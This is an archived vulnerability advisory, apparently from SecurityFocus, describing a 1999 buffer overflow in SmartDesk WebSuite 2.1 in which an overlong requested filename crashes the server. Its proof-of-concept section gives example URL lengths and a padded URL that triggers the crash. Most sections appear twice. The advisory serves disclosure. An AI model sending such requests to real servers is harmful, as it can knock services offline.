SmartDesk WebSuite Buffer Overflow Vulnerability
BID:278
Info
SmartDesk WebSuite Buffer Overflow Vulnerability
| Bugtraq ID: | 278 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 25 1999 12:00AM |
| Updated: | May 25 1999 12:00AM |
| Credit: | This vulnerability was published in the BUGTRAQ mailing list by cmart <[email protected]>. |
| Vulnerable: |
SmartDesk WebSuite 2.1 |
| Not Vulnerable: | |
Discussion
SmartDesk WebSuite Buffer Overflow Vulnerability
A buffer overflow vulnerability in SmartDesk WebSuite 2.1 allows malicious remote users to crash the server, and may at worst allow them to execute arbitrary code.
WebSuite 2.1 will crash when the filename requested is overly long. Test showed the filename length that crashed the server varied from 250 to over 2,000 bytes long.
A buffer overflow vulnerability in SmartDesk WebSuite 2.1 allows malicious remote users to crash the server, and may at worst allow them to execute arbitrary code.
WebSuite 2.1 will crash when the filename requested is overly long. Test showed the filename length that crashed the server varied from 250 to over 2,000 bytes long.
Exploit / POC
SmartDesk WebSuite Buffer Overflow Vulnerability
On Windows 98, append 150 to 1,000+ characters to the URL.
On Windows NT, append 250 to 2,000+ characters to the URL.
example:
http://hostname/00000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
On Windows 98, append 150 to 1,000+ characters to the URL.
On Windows NT, append 250 to 2,000+ characters to the URL.
example:
http://hostname/00000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Solution / Fix
SmartDesk WebSuite Buffer Overflow Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
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SmartDesk WebSuite Buffer Overflow Vulnerability
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